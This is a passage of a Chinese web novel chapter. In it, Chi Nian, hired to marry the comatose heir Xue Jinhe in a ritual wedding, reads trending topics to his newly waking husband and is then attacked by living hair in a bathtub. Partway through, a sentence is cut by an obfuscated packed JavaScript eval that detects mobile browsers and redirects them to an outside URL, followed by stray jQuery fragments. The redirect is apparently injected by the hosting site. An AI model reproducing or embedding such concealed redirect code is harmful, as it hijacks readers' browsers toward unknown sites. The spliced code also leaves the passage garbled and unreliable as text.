池念眼神直白,盯着那处衣摆,不禁思索起来。
薛尽贺昏睡了这么久,要是等会儿弄不起来,对方会不会很没面子。可老道士交代了他要好好伺候,万一办不成,总不能让他来当……
池念这么想着,视线往上瞥去,然后对上了薛尽贺那双能杀人的眼睛,大有他敢把手放过去,就让他见不到明天太阳的气势。
池念当场就老实了。
太子爷不让碰,他也不能强买强卖对吧。
池念在这方面还是很有自知之明的,对狗好反倒遭狗咬的事情他见多了。
“那……老公,我去洗漱一下回来睡觉?”年少时的经历造就了池念此刻的圆滑,他能屈能伸极了,很快就将这茬给揭过去,仿佛刚刚怀疑人家不举的人不是他一样。
池念很会放低姿态,语气压得软绵绵的,一副小狗耷拉着耳朵的可怜样,着实让人难以拒绝。
他生怕薛尽贺还会不高兴,放轻了声音解释道:“道长说……得今晚过完,事情才算成。”
薛尽贺淡淡乜了他一眼,周身凌厉的杀意散去,随后缓缓闭上了眼睛,算是允许了池念的做法。
池念总算松一口气,老公虽然看着凶凶的,但脾气还是很好的嘛!
薛尽贺这脾气,或许在很多人眼中都不好相处,但池念接触过的奇葩太多,多么难相与的、讨人厌的都见过,对比起来,倒是觉得太子爷也挺眉清目秀的。
心情重新放松的池念转眼就把刚才的不愉快抛到了脑后,离开前,还贴心地问了一句:“对了老公,要我帮你擦一下..身上吗?”
床上的人眼皮子都没掀,显然是不想理他。
池念耸耸肩,到隔壁洗澡去了。
这房间虽然是按照古代建筑复刻的,但古人也不傻,主卧旁边就是浴室,方便得很!
池念洗完澡,想了想还是打了一盆水,回到婚房后,把水盆放到了拔步床的里间。
这床里里外外有好几层,其中就包含供人洗漱梳妆的地方。池念放下水,坐到了床边,看见床上的神色平静,呼吸缓慢,小声问道:“老公?你睡着了吗?”
薛尽贺漆黑的眼睫一动未动,好像是真睡着了。
但回想起来薛尽贺的性格,这人只是不想理他,才故意装睡的也说不定。
池念打了水来,也不敢直接上手,最后只是用手指,轻轻在薛尽贺的肩头戳了戳。
还是没动静。
“真睡了呀?”池念偏偏头,又仔细看了会儿,确认对方是真的睡着了,这才从床上跳下来。
方才的小心翼翼再也不见,池念晃动着手臂,伸伸胳膊,活动了下僵硬的肩膀。
刚才洗澡的时候,他可算把发冠给拆下来了,但池念又没有留长发的经验,好半天才把头发盘上去,茂密的长发在头顶摇摇欲坠,洗澡的时候他都不敢乱动,生怕头发垮了还得花时间吹干。
累了这一天,太子爷醒着的时候他还得注意一下形象,太子爷睡着自然就随便他放飞了。
池念十分贴心地拧了帕子,叠成小小一张,也没逾越,只是给薛尽贺把脸擦了一遍,凑个形式。
擦干净脸之后把帕子往水盆里一扔,转而开始收拾床上的红枣桂圆,捡干净果干,腾出来睡觉的位子,池念都已经困得神志不清了。
他拉过大红色的薄被躺下,侧着身子往薛尽贺那边凑了凑,声音绵绵哑哑的,像是在撒娇:“老公,我睡了哦?”
对方依旧没搭理他。
“唔……”池念想了想,拿人钱财,替人办事,虽然没做到最后一步,但他还是很希望大少爷能快点好起来的。
反正现在薛尽贺睡着了不知道。
池念撑起身子,飞快地在那张血色淡薄的唇上贴了一下,四舍五入,这洞房花烛也就算成了吧?
“晚安~”青年青涩的尾音带着一点点上扬,“早点好起来呀。”
池念说完,往枕头上一倒,呼呼睡了过去,一连三十几个小时没合眼,还顶着加起来几十斤的配饰和衣服一整天,他是真累着了,甚至传出很轻的鼾声。
屋子只剩一对红烛在燃烧,昏暗的烛光透过床架上的镂空雕刻,落在帐幔上,像是有什么东西在上面跳舞。
床上,一双眼睛缓缓睁开,目光中满是清明,没有半点睡意。那双眼睛往晃动的影子上一瞥,跃动的小人儿瞬间僵住,嗖一下跑没了影儿,隐藏在黑暗中的嘈杂也跟着安静下来。
一旁轻轻打着呼的青年紧锁的眉心渐渐舒展,沉沉睡过去,连鼾声都平复下去,恢复了恬静的模样。
一夜无梦。
池念一口气睡了十五个小时,醒来外面天光都已经大亮,但这小房子似的拔步床挡住了光线,相对封闭的空间睡着特别有安全感,以至于池念醒来的时候,都不知道今夕何夕。
他两只手臂举过头顶,跟猫儿似的把身体拉得老长,喉咙里发出的呜咽有些不雅,池念晃着身体在床上滚来——滚去,然后吧唧撞到个硬邦邦的东西。
池念:“……”
“咳。”他清了清嗓子,掩盖自己的尴尬,嘴角爬上公式化的笑容,仿佛形成了肌肉记忆。
伸手不打笑脸人嘛,看到这副乖顺的模样,也很难让人生气。
“早安。”池念自顾自地问好,也不怕热脸贴冷屁股,毕竟这可是他的十万块呢!
闭目养神的人难得施舍了他一个眼神,竟然纡尊降贵地掀开眼皮看了他一眼。
池念心情更好了。
昨天晚上薛尽贺醒来的事情,果然不是偶然!
也不知道太子爷醒这么快,有没有奖金拿。
“我去叫人过来给你洗漱。”池念丢下这句话就起身跳下床,不去看薛尽贺脸上的表情。
他的第六感告诉他,太子爷如果清醒着,应该不太会高兴其他人给他擦洗,要是他读懂了薛尽贺脸上的表情,还去叫人,对方说不定会把这笔账记在他头上。
池念跟老油条似的溜出去,通知了薛家人。
薛尽贺的父母早就在旁边的书房等着了,池念一出门,立刻就带着医生护工进到了房间。
“池先生,早饭已经准备好了,请跟我来。”门口只留下了一个管家打扮的男人,埋着脸,毕恭毕敬地把池念请到餐厅去吃饭。
薛家的早餐向来豪华,但经过一个月的适应,池念也已经习惯了。
他吃过早餐,一旁的管家也没通知他回新房去伺候太子爷,只询问他需不需要把头上的接发给拆了。
这简直是瞌睡来了遇到枕头,池念早就嫌弃这头长发不方便了,只是之前老道士说在薛尽贺醒来之前,这些头发都不能拆下来。
虽然不懂,但很有职业道德的池念即使昨天晚上凤冠拆不下来的时候,都没想过直接把头发剪掉。
看来薛家人还是很守信用的,薛尽贺刚醒,就通知他可以拆头发了。
重新恢复清爽之身的池念感觉脑袋都轻了不少,这又长又密的头发起码有好几斤,压得他脖子都动弹不得。
拆掉接发,洗头的时候让按摩师多给他捏了两遍肩颈,池念才总算觉得活了过来。
短发真是太爽啦!
池念神清气爽地在院子里散步,昨天起了浓雾,今天的天气倒是好,都出了层薄薄的阳光,院子里面暖洋洋的。
这边三进的院落采用的左右分区,左边是居住活动的区域,右边就是山水湖泊、游廊凉亭,即使工期极赶,庭院里的造景还是很费了一番心思的,几乎做到了三步一景,每走几步,都能看到不同的景观,着实让人大开眼界。
池念正欣赏着人民币的味道,就看见不远处的房檐下,又一群人簇拥着。
薛尽贺大概是已经洗漱完了,连身上的衣服都换了套,趴在户外床上任由医师们在身体上按摩。
薛家人照顾薛尽贺照顾得仔细,即使三年过去,薛尽贺身上都没长过一个褥疮,身上永远是清清爽爽的,就连肌肉萎缩的程度都不是很严重。
薛尽贺的皮肤也只是因为没有血色,才显得苍白,就像现在,只要有机会,医师们都会把他推出来透气晒太阳。
池念此前一直在忙着准备婚礼,这还是他头一次看薛尽贺做按摩,他观察得仔细,并暗暗将那些手法和穴位给记在了心上。
如今薛尽贺醒了,他大概也有机会和对方相处,多学点本事在手里,讨得人开心了,太子爷指头缝儿里流出来点东西,都够他吃一辈子。
池念笑意盈盈地看着那方的医师们按摩,直到薛尽贺被翻过身来,就看见不远处的游廊下,站着一个干净清爽、容貌极其漂亮的青年,正对着自己笑。
池念和昨天的模样很不一样。
昨日大婚,池念化的是新娘妆,脸上的粉虽然涂得不厚,但腮红抹得比较浓,显出几分娇嫩。
而现在,并没有被层层嫁衣束缚的青年脊背舒展,他站姿挺拔,给人一种清风雅静的感觉,细腻的皮肤在阳光下仿佛透着光,分明没有任何装饰,却好看得惊心动魄,让人挪不开眼。
尤其是那双微微上扬的眼尾,自然而然地噙着笑,去掉了眼线的刻意雕刻,密密的睫毛投下一片阴影,更加衬得那双秋水般的眸子透亮动人。
被这样一个美人满心满眼地看着,任谁都忍不住心跳加快。
池念对上了薛尽贺的视线,眼底的笑意更加明显,快步穿过游廊走过去,娴熟地拉过来那冷冰冰的手,把自己的指头挤进去,十指交缠,乖顺地喊了一声老公。
周围按摩的医师们眼观鼻鼻观心,假装什么都没听到,继续自己手头的工作。
只有一个最年轻的毛头小子,实在没忍住往池念脸上看了一眼。
大概是在疑惑,现在的小明星脸皮可真够厚的,第一天见面就能喊老公喊这么顺口,结果视线一落到池念的脸上,就再移不开了。
池念本人比镜头里还要好看许多,他低头笑着,朱红的嘴唇翕动,似乎在说什么。青年没听清,只恍惚间看见眼前的人抬起手,撩了一下鬓边如瀑的墨发,露出脆弱苍白的脖颈,和微微泛红的耳尖,似乎是注意到了他的视线,偷偷看了他一眼,然后不好意思地扭过头。
直到被身旁的老师一把拧在胳膊上,火辣辣的痛感传来,青年才猛然惊醒。
他竟然看一个男人看呆了!
天知道他可是个铁血直男,每天都还和女朋友蜜里调油呢,怎么会觉得这个男人刚刚在勾引自己。
青年晃了晃脑袋,把奇怪的想法甩出去,埋头飞快跟着老师他们离开了。
没有人注意到这个小插曲。
池念坐在床边,和薛尽贺搭话,试图刷刷好感。
薛尽贺恢复的速度还是很喜人的,昨天晚上还只是眼皮能动,连表情都做不出来,只能给池念甩眼神。
今天就找回了嘴唇的控制权,虽然还说不出话,但五官看上去明显比昨晚鲜活得多。
“嗯……老公你无聊吗?不过你刚醒来,医生交代不能用眼过度,你想听新闻吗?还是小说?我给你念。”池念观察着薛尽贺脸上的表情,询问道。
说来也是奇怪,池念虽然很会看脸色,但也没有炉火纯青到这地步,可不论薛尽贺在想什么,他似乎一眼就能看出来。
在读出对方居然想听新闻的时候,池念脸上闪过一丝尴尬。
糟糕,他是个从来不看新闻的人,刚刚嘴快一下子说出去,都不知道该去哪儿找。
池念小脑瓜子一转,有了!
“那我先给你念念热搜。”
微博,这可是池念的主战场!虽然他自己的微博粉丝只有几千个,但他玩微博玩得可特别六。
完全不知道根据大数据算法,自己的微博里都是娱乐圈内容的池念自信朗读。
“#重新定义一夫一妻制#”
池念边读边观察薛尽贺脸上的微表情,发现对方对这个热搜词条感兴趣,就愉快地点了进去。
首页的置顶,就是两张照片。
一张是他参加选秀节目拍的证件照,一张是昨天婚礼直播他穿红嫁衣的截图。
所谓的重新定义一夫一妻制,原来就是娶了男娘之后,就能同时拥有一个老公和一个老婆!
什么乱七八糟的!
他才不是男娘好吧!
池念都要裂开了。
这届网友还是太超前。
这要他怎么念啊!
薛尽贺看到他脸上精彩纷呈的表情,目光有些疑惑,催促着他继续。
池念:“……”
豁出去了!
等池念面红耳赤地把文案念完,感觉自己人都麻了,尤其是在对上薛尽贺那双带着揶揄的眼睛的时候。
任何语言在此刻都变得苍白无力。
他是真的没有女装的癖好!
关键是让他穿女装的罪魁祸首此刻还看着他笑。
池念默默在心底念了一句:等你老了拔你氧气管儿!
他偷偷腹诽完,就退出了词条广场,挨着下一条热搜念过去。
昨天那场婚礼还是太过令人震撼,以至于一天过去,热搜上都还零零散散挂着几个相关的词条。
除此以外,大部分都是些没有营养的娱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496423|170216||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乐圈新闻,薛尽贺听了几条就兴致缺缺,池念也就把这些给跳过了。
一口气给薛尽贺念了两个小时的热搜和新闻,池念口干得嗓子冒烟,趁着医师们过来给太子爷做复健的时候,回里屋找水喝。
不过这边的大宅子池念也是第一天来,可别看三进的宅子听上去小,不熟悉格局的很容易在里面迷路。
比如池念。
他莫名其妙推开一道门,发现自己好像走错了地方,正打算回去,余光就瞥见一个人影。
定睛一看,是老宅的帮佣正往快递袋里塞东西,而那用塑料袋装着的黑漆漆的玩意儿,看着有点像是……头发?
池念不确定自己是不是看错了,他没有多管闲事的习惯,等快递员收好包裹离开之后,才叫住了寄快递的那个帮佣。
帮佣被池念的出现吓了一跳,但很快就恢复了淡定,带着池念回到了房间,并且给他倒了茶水,态度和服务都非常好。
“如果还有什么事情的话房间里有对讲机,宅子里到处都准备了呼叫器,找不着路的话用那个就会有人过来接您。”帮佣解释道。
“好,麻烦你了。”池念点点头,将茶水一口气灌了下去,随即又喝了第二杯。
等他放下杯子的时候,突然觉得嘴巴里有什么东西,舌尖一顶,从嘴里扯出来根头发。
那是根半米多长的头发,乌黑粗壮,发质很好。可是池念和刚刚那个帮佣都是短发,而且薛家的餐饮里,可从来没出现过这么粗心的事情。
池念蹙了蹙眉,起身把头发丢进垃圾桶里,也没追责。
他并不恶心食物里出现头发,毕竟他小时候那条件,有的吃就不错了。
大家生活都不容易,没必要因为这点小事闹得别人被扣工资。
池念喝完水,就又去后院找薛尽贺了。
他这一整天,几乎化身了朗读机,耐心地给薛尽贺挑选对方喜欢的新闻内容。
池念发现,薛尽贺的阅读涉猎很广,几乎是什么内容都想要听一听,竟然让池念都总结不出来什么偏好。
嗯……其实还是有的,薛尽贺不喜欢听娱乐圈八卦。
念了一整天,池念嗓子都快冒烟了,得亏他以前学声乐课学得认真,特地纠正过发声方式,就算说天话也不会太累。
果然是最近这一个月过骄奢淫逸的生活过得太忘形,只是念了一天新闻就累成这个样子。
今天晚上他也要和薛尽贺睡一张床。
晚饭过后,就有专门的帮佣给薛尽贺擦洗。而池念不习惯吃完饭直接洗澡,他都是睡前再洗,血液通畅睡觉睡得比较香。
白天念了一整天,晚上实在不想再加班了,池念早早地放下了手机,免得把薛尽贺的瘾儿勾起来。
磨磨蹭蹭到十点过也没什么睡意,但大少爷刚清醒不久,此时没什么精力,用眼神催促他快点睡觉。
原本还不想睡的池念莫名其妙的——觉得心里有些甜滋滋。
这还是第一次有人关心他要他早睡,开心。
池念愉悦地拿上睡衣去隔壁房间洗澡。
虽说这个宅子修建得古色古香的,但家电用的都很先进。浴室不仅做了干湿分离,还有个浴缸可以泡。
池念以前没泡过浴缸,见到浴池里放好了热水,水面上还撒着玫瑰花瓣,就觉得泡一泡也不是不行。
他将自己搓洗干净,就躺进了浴池里,随手端过来放在一旁的红酒浅浅嘬了一口。
咦惹,好酸!
抱吃。(不好吃)
好不如以前村里面请客吃席十几块一瓶可乐的色素甜水红酒好喝。
池念喝了一口就放下了杯子,但这红酒的味道还挺霸道,该说不愧是能买上几十万一瓶的玩意儿,回味绵长,红酒的香醇味都快遮盖过浴池里淡淡的玫瑰花香味了。
只是……
也不知道是不是错觉,池念总觉得今天晚上这个玫瑰花的味道有点奇怪。
太淡了,隐约还有一丝铁锈味儿。
池念觉得这个味道不太好闻,刚打算起身,就感觉身上有什么东西滑过。
滑溜溜的,像是自己会动。
池念一个激灵,安慰自己是碰到了花瓣,可是下一秒,那游走在皮肤上的触感就变得更加明显起来。
的确是有什么东西在水里面游动!
池念吓得差点叫出声,一下从浴缸中站起来,却因为起得猛了眼前一黑。
等眼睛里那花花麻麻的黑点褪去,池念看向那没过膝盖的水,才发现花瓣下面的水并不是透明的,而是透着淡淡的暗红,像是被稀释过后的红酒。
池念瞬间就不好了,赶紧抬脚想从水中出来,却发现那在水底游动的东西缠上了他的脚踝。
花瓣遮挡了视线,池念看不清那是什么,但这不妨碍他觉得毛骨悚然。
池念都快哭了,黑色的东西顺着他的腿蔓延上来,他这才看清,那原来是一把把会动的头发!
“救命!”池念发出惨叫,更让他绝望恐惧的是,他发现这些头发紧紧缠在他的腿上,他根本走不出浴缸!
“啊!”那黑色的头发一用力,池念就被拽着拖进了水里,浅浅的浴缸此刻仿佛化身汪洋,直接将池念的头顶都淹没。
正当池念怀疑自己大概会淹死在浴缸里的时候,突然他的大腿上某个地方针扎一般痛了一下,火辣辣的感觉刺激着他的神经,让他重新恢复求生的本能,挣扎着往外爬,而那蔓延而上的头发也跟触电一样,瞬间溃散,逃也似的避开了他的腿。
池念本能地抓住浴缸边缘,一把翻了出来,跌坐在了地上。
来不及心有余悸,他往外走了好几步,确定那些头发没有追上来,这才扶着一旁的墙壁把呛进喉咙里的水咳出来。
大腿上刚刚刺痛他的那点子肉还在发痛,火辣辣地彰显着自己的存在感。
池念看着那个小红点一愣,似乎回想起来什么,衣服都没穿就撒脚丫子往隔壁跑。
浑身湿漉漉的人不管不顾地一把扑到了床上,跟抓救命稻草似的死死抱住薛尽贺的手臂。
一模一样的场景,只不过昨天的池念穿着大红喜服,今天的池念不着片缕,浑身散发着淡淡的玫瑰花的味道,呼吸间还有红酒的香气。滴滴答答往下滴水的发丝让他看起来像是一只淋了雨的可怜小狗,红着一双眼眶在看到令人心安的脸庞时,死里逃生的后怕让他再也止不住地往下掉眼泪。
“老公……”池念的声音都带着轻微的颤抖,恨不得整个挤进人怀里,告状似的说道,
“我、我刚刚好像,撞到鬼了。”